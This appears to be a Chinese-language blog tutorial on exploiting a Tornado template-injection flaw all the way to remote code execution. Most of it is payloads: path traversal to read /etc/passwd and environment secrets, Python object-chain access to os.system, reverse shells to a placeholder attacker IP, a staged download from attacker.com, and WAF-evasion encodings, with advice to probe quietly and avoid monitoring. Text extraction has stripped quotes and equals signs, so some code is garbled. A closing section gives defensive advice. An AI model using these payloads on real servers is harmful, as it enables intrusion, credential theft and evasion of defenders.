Tornado SSTI漏洞实战:从文件读取到RCE的完整利用链分析 📅 2026/8/6 19:38:50 1. 项目概述一次完整的Tornado SSTI漏洞狩猎最近在复盘一些老项目的安全审计记录发现一个基于Tornado框架的Web应用存在模板注入漏洞。这个案例非常典型从最初一个不起眼的文件读取点最终演变成一条完整的远程代码执行RCE利用链。整个过程就像在解一个精密的锁每一步都需要对Tornado的模板引擎、Python沙箱环境以及系统特性有深刻的理解。今天我就把这个完整的实战过程连同期间摸索出的几个关键绕过技巧系统地梳理出来。无论你是正在学习SSTI漏洞的渗透测试新手还是想加固自己Tornado应用的安全开发者这篇文章都能给你提供从原理到实操的清晰路径。Tornado作为一个高性能的Python Web框架其模板系统设计初衷是安全且高效的。然而当开发者不慎将用户输入直接嵌入模板渲染逻辑时坚固的城墙便会出现裂缝。我们这次遇到的漏洞起点只是一个用于“预览”用户上传文件内容的功能点但通过精心构造的Payload我们不仅读到了系统敏感文件最终还在服务器上成功执行了任意命令。整个利用链涉及对{{...}}语法的深入利用、对Python对象属性的链式访问、对沙箱环境的探测与突破以及针对WAF或简单过滤规则的多种绕过手法。下面我们就按照实战推进的顺序一步步拆解。2. 漏洞环境搭建与初步探测在开始分析利用链之前我们首先需要理解漏洞产生的典型场景。通常Tornado模板注入发生在render_string()或render()函数被误用的情况下。例如开发者可能写了一个动态加载“模板片段”的功能import tornado.web import tornado.template class PreviewHandler(tornado.web.RequestHandler): def get(self): # 危险操作直接将用户输入的template_name拼接进模板字符串 template_name self.get_argument(name, default.html) content Welcome, {{ user }}! Here is your preview: {% include \ template_name \ %} # 或者更直接地使用render_string html tornado.template.Template(content).generate(userGuest) self.write(html)上面这段代码就是漏洞的温床。攻击者可以控制template_name参数使其不再是简单的文件名而是一段模板语法。但实战中入口往往更加隐蔽。我们遇到的案例是一个文件内容预览接口它本意是读取static/docs/目录下的.md文件并渲染展示。最初的请求看起来完全无害GET /preview?filewelcome.md。2.1 确认注入点与基础语法第一步是确认是否存在模板注入。与常规SSTI测试类似我们提交包含基本运算的Payload/preview?file{{7*7}}如果页面返回的内容中出现了“49”而不是原始的“{{7*7}}”那么基本可以断定存在模板注入。Tornado模板默认使用{{ ... }}进行表达式求值使用{% ... %}执行控制语句。确认注入点后我们需要了解当前模板上下文中有哪些可用的对象。Tornado在渲染模板时会默认注入一些内置对象和方法这是我们后续利用的基石。一个常用的探测方法是尝试访问常见的内置属性如self、handler、request。例如提交{{ handler}}可能会返回当前请求处理器的字符串表示这能告诉我们所处的环境。更进一步的我们可以尝试链式属性访问来探索对象树。这里有一个技巧由于我们可能不清楚对象的具体结构可以利用Python的__class__、__mro__、__subclasses__()等特殊方法来遍历类继承关系从而找到我们需要的类如os、subprocess。注意在初始探测阶段动作要轻避免触发明显的异常或错误以免被监控系统发现。使用简单的数学运算或字符串拼接是相对隐蔽的确认方式。2.2 从文件读取到信息收集在我们这个案例中漏洞参数file原本就是用于指定读取文件的路径。这本身就构成了一个文件读取漏洞。我们可以尝试进行路径遍历读取系统文件/preview?file../../../../etc/passwd如果应用没有正确校验路径我们就能看到/etc/passwd的内容。这一步的目标不仅仅是读取文件更是为后续的RCE收集关键信息系统用户信息了解服务器上有哪些用户特别是非登录用户如www-data,nginx这有助于判断权限。环境变量尝试读取/proc/self/environLinux可以获取进程环境变量其中可能包含数据库密码、API密钥等敏感信息。应用源码通过路径遍历读取Web应用自身的Python源码文件如app.py,settings.py分析是否有其他脆弱点或硬编码的凭证。依赖列表读取requirements.txt或Pipfile.lock了解项目依赖寻找其中已知漏洞的第三方库或许能找到更容易利用的突破口。文件读取是SSTI利用链中承上启下的关键一步。它风险相对较低相较于直接执行命令但获得的信息价值极高能为构造RCE Payload提供至关重要的上下文。3. 构建对象链寻找命令执行的跳板确认SSTI并完成初步信息收集后下一步的核心目标是在模板引擎的沙箱环境中找到一个能够执行系统命令的“跳板”。Tornado的模板环境并非完全隔离它仍然运行在应用的Python解释器中只是对某些危险操作进行了限制。我们的任务就是利用Python对象的内省能力从一个已知的、可访问的对象出发通过属性或方法链一路找到诸如os.system、subprocess.Popen这样的函数。3.1 利用Python的内省机制在Python中一切皆对象每个对象都有__class__属性指向其类类有__mro__方法解析顺序属性列出其所有父类而类本身也有__subclasses__()方法返回其所有直接子类。这是一个强大的“寻路”工具链。通常我们可以从模板中默认可访问的某个通用对象开始比如一个空字符串、一个数字0或者通过handler.settings访问到的一些配置对象。一个经典的探测序列如下获取基类{{ .__class__ }}会显示字符串的类class str。获取基类的基类{{ .__class__.__base__ }}通常是class object。所有类最终都继承自object。获取object的所有子类{{ .__class__.__base__.__subclasses__() }}。这将返回一个庞大的列表包含了当前Python运行时中加载的所有类。3.2 筛选有用的子类上一步得到的子类列表可能有上百个。我们需要从中筛选出那些可能引用危险模块如os、subprocess、sys的类。在模板中我们可以利用Tornado模板的循环和条件判断虽然可能受限来搜索但更常见的方法是在本地搭建相似环境进行离线分析或者通过Burp Suite的Intruder模块逐个尝试子类是否能提供我们需要的功能。我们需要寻找的“特征类”通常是class os._wrap_close这是通过os模块引入的一个内部类找到它就意味着我们拿到了os模块的引用。class subprocess.Popen直接找到了执行命令的类。一些包含file、socket、eval、exec等字样的类也可能提供读写文件或执行代码的能力。在实战中由于输出长度限制或过滤直接列出所有子类可能失败。我们可以通过索引来精确访问。例如如果知道class os._wrap_close在列表中的索引是132那么{{ .__class__.__base__.__subclasses__()[132] }}就能得到这个类对象。3.3 从类对象到危险函数找到目标类如os._wrap_close后我们需要进一步获取其所在的模块os然后调用模块中的函数。获取类所在的模块{{ .__class__.__base__.__subclasses__()[132].__init__ }}查看初始化方法。获取模块的全局上下文{{ .__class__.__base__.__subclasses__()[132].__init__.__globals__ }}。__globals__是一个字典包含了该函数所在模块的所有全局变量。对于os._wrap_close.__init__来说其__globals__就包含了整个os模块的全局命名空间。提取目标函数从__globals__字典中取出我们需要的函数例如system{{ .__class__.__base__.__subclasses__()[132].__init__.__globals__[system] }}现在我们就拿到了os.system函数对象。这个过程就像在用一串特殊的钥匙依次打开一道道门最终进入存放“武器”的房间。每一步都需要对Python对象模型有清晰的认识。4. 实现远程代码执行RCE一旦我们通过对象链获取到了可以执行系统命令的函数如os.system或subprocess.PopenRCE就触手可及了。但如何优雅、稳定地执行命令并获取回显是这一步需要解决的核心问题。4.1 命令执行与回显技巧直接调用os.system(id)会在服务器端执行但输出是直接打印到服务器的标准输出可能是终端或日志文件我们无法在HTTP响应中直接看到结果。因此我们需要将命令执行的结果“搬运”到HTTP响应体中。有几种常见的方法方法一利用subprocess.Popen和文件读取这是最可靠的方法之一。思路是执行命令并将输出重定向到一个Web应用可访问的临时文件中然后利用之前发现的文件读取漏洞去读这个文件。构造Payload执行命令并写入文件{{ .__class__.__base__.__subclasses__()[X].__init__.__globals__[Popen](id /tmp/out.txt, shellTrue).wait() }}这里[X]需要替换为subprocess.Popen类在子类列表中的实际索引。wait()是为了等待命令执行完成。然后使用文件读取参数去读取输出文件/preview?file../../../../tmp/out.txt方法二利用os.popen或subprocess.check_output如果环境中有这些函数它们可以直接返回命令的输出。但注意模板渲染时可能会对返回值进行字符串化处理包含特殊字符时可能出错。{{ .__class__.__base__.__subclasses__()[132].__init__.__globals__[popen](id).read() }}方法三内联执行与回显适用于简单命令对于像whoami、pwd这样输出简单的命令可以尝试直接将命令执行结果赋值给一个变量并让这个变量在模板中渲染出来。但这依赖于模板引擎对复杂表达式返回值的处理方式不一定总是成功。4.2 构造稳定的反向Shell在渗透测试中获得一个交互式的Shell往往比执行单条命令更有价值。我们可以通过RCE来下载并执行一个反向Shell的Payload。假设我们已经可以稳定执行命令并且服务器有curl或wget工具在攻击机上监听一个端口nc -lvnp 4444。通过SSTI Payload让服务器执行反向Shell命令。一个常用的Python反向Shell Payload是import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((YOUR_IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);我们需要将这个Python代码通过SSTI注入并执行。由于代码较长且包含特殊字符直接放在模板表达式中很困难。一个可行的方案是先将代码写入服务器的一个临时文件/tmp/shell.py。然后通过SSTI执行python /tmp/shell.py。对应的Payload构造会非常复杂需要处理好引号转义和换行符。通常我们会将Payload进行Base64编码然后在服务器端解码并执行这样可以避免很多特殊字符问题。{{ .__class__.__base__.__subclasses__()[132].__init__.__globals__[system](echo YmFzaCAtaSAJiAvZGV2L3RjcC9Zb3VyX0lQLzQ0NDQgMD4mMQo | base64 -d | bash) }}上述命令中的Base64字符串解码后是一个简单的bash反向Shell命令实操心得在实际利用中网络环境可能受限服务器无法出网或者安全策略禁止执行bash -i。因此务必在信息收集阶段就摸清服务器的网络连接情况、可用工具python、perl、nc、php等并准备多种备用的反向Shell Payload。有时一个简单的nc YOUR_IP 4444 -e /bin/sh可能因为nc版本不支持-e参数而失败需要换成mkfifo或telnet的变体。5. 高级绕过技巧实录在真实的网络环境中应用层往往部署了WAFWeb应用防火墙或者开发者自己实现了一些简单的过滤机制。我们的Payload需要巧妙地绕过这些防御。以下是我在实战中总结和验证过的几种有效绕过技巧。5.1 字符串拼接与编码绕过这是最基础的绕过方式用于应对简单的关键词黑名单如过滤了os、system、subprocess等。字符串拼接将敏感关键词拆分成多个部分在运行时拼接。{{ ([__class__]) }} {{ ([__class__]) }} {{ getattr(, __class__) }}对于模块名和函数名同样适用{{ .__class__.__base__.__subclasses__()[132].__init__.__globals__[os][system](id) }}编码绕过利用各种编码方式。Base64{{ .__class__.__base__.__subclasses__()[132].__init__.__globals__[(b3M.decode(base64))][(c3lzdGVt.decode(base64))](aWQ.decode(base64)) }}注意Python 2中str有decode(base64)Python 3需用base64.b64decode但需先引入base64模块可能更复杂。Hex编码{{ .__class__.__base__.__subclasses__()[132].__init__.__globals__[\x6f\x73][\x73\x79\x73\x74\x65\x6d](id) }}。Rot13等简单替换如果过滤逻辑非常初级甚至可以用str.maketrans和str.translate在模板内实现解码。5.2 属性访问的替代语法当点号.被过滤时我们可以换用其他方式访问属性。使用__getattribute__方法{{ .__getattribute__(__class__) }}。使用[]下标语法对于字典形式的__globals__这很自然。对于对象属性可以通过__dict__或dir()结合循环来间接获取但在单行表达式中较难实现。一个取巧的方式是利用attr过滤器如果Tornado模板启用了它但通常默认不启用。利用|attr过滤器如果可用某些Jinja2的绕过技巧在Tornado中不适用因为Tornado模板语法不同。Tornado原生不支持|attr。5.3 利用非常规子类与内置函数如果常见的危险子类如os._wrap_close的索引被WAF规则盯上我们可以寻找其他“不起眼”的子类它们可能通过其他路径引入危险模块。搜索__builtins__或__builtin__很多类的__init__.__globals__中都包含__builtins__它是一个模块提供了所有内置函数其中就包括__import__。我们可以通过__import__(os).system(id)来执行命令。关键在于找到一个能访问到__builtins__的类。{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__init__.__globals__.__contains__(__builtins__) %} {{ c.__init__.__globals__[__builtins__][__import__](os).system(id) }} {% end %} {% end %}注意上述使用了Tornado的{% for %}和{% if %}语法在允许控制语句的注入点才能使用利用_frozen_importlib.BuiltinImporter等类这些是Python导入系统的内部类它们的find_module或load_module方法有时也能被利用来加载模块。5.4 上下文污染与全局变量覆盖这是一种更高级的思路不一定在所有场景下有效但值得尝试。如果我们可以控制模板渲染时传入的某些上下文变量并且这些变量是可变对象如字典、列表也许能通过修改它们来影响模板行为甚至覆盖掉一些安全函数。但在Tornado中模板上下文通常由处理器严格控制这种机会较少。5.5 分阶段与外部资源加载当单次注入的Payload长度受限或字符过滤极其严格时可以采用分阶段攻击。第一阶段注入一个极短的Payload其功能是从攻击者控制的服务器下载一个更复杂的Python脚本到目标服务器的可写目录。{{ ... .__globals__[system](curl http://attacker.com/stage2.py -o /tmp/s.py) }}第二阶段执行下载的脚本。{{ ... .__globals__[system](python /tmp/s.py) }}这样复杂的利用逻辑就放到了外部的stage2.py中规避了WAF对长字符串或复杂语法的检测。6. 防御建议与安全开发实践分析了完整的攻击链作为开发者我们更应该思考如何从根本上杜绝此类漏洞。以下是一些针对Tornado应用的安全开发建议绝对不要信任用户输入这是安全的第一原则。任何要放入模板渲染函数Template.generate(),render_string的字符串都不应包含用户可控的部分。如果需要动态模板应该使用白名单机制只允许加载预定义的安全模板文件。严格使用模板渲染APITornado的render()方法是安全的因为它将模板文件与数据上下文分离。确保所有动态内容都通过上下文字典传递而不是拼接进模板字符串。# 安全做法 self.render(template.html, usernameuser_input) # 在template.html中使用 {{ username }} # 危险做法 template_content h1Hello, user_input /h1 self.write(tornado.template.Template(template_content).generate())启用Tornado的模板沙箱已弃用但可了解旧版Tornado的tornado.template模块有一个sandboxed模式可以限制模板的访问能力。但在较新版本中已被标记为弃用因为它可能带来性能开销且并非绝对安全。不应将其作为主要防御手段。实施输入验证与输出编码对所有用户输入进行严格的验证和过滤。对于确实需要原样输出的内容根据输出上下文HTML、JS、URL进行适当的编码。最小权限原则运行Tornado应用的进程如www-data用户应具有尽可能低的系统权限。避免使用root权限运行。这样即使发生RCE攻击者能造成的破坏也有限。部署WAF与监控在应用前端部署WAF可以拦截大量已知的攻击Payload。同时建立完善的日志监控和告警机制对异常的模板渲染错误、大量的路径遍历请求等行为进行实时告警。定期安全审计与依赖更新定期对代码进行安全审计特别是涉及动态内容渲染的部分。同时保持Tornado框架及其所有依赖库更新到最新版本以修复已知的安全漏洞。Tornado模板注入漏洞的利用是一场关于深度和理解力的较量。攻击者需要深刻理解Python对象模型和Tornado模板引擎的细节而防御者则需要坚守安全开发的基本准则不给攻击者留下任何可乘之机。希望这篇从文件读取到RCE的完整利用链分析能帮助你更好地理解其中的原理与攻防逻辑无论是站在攻击还是防御的角度。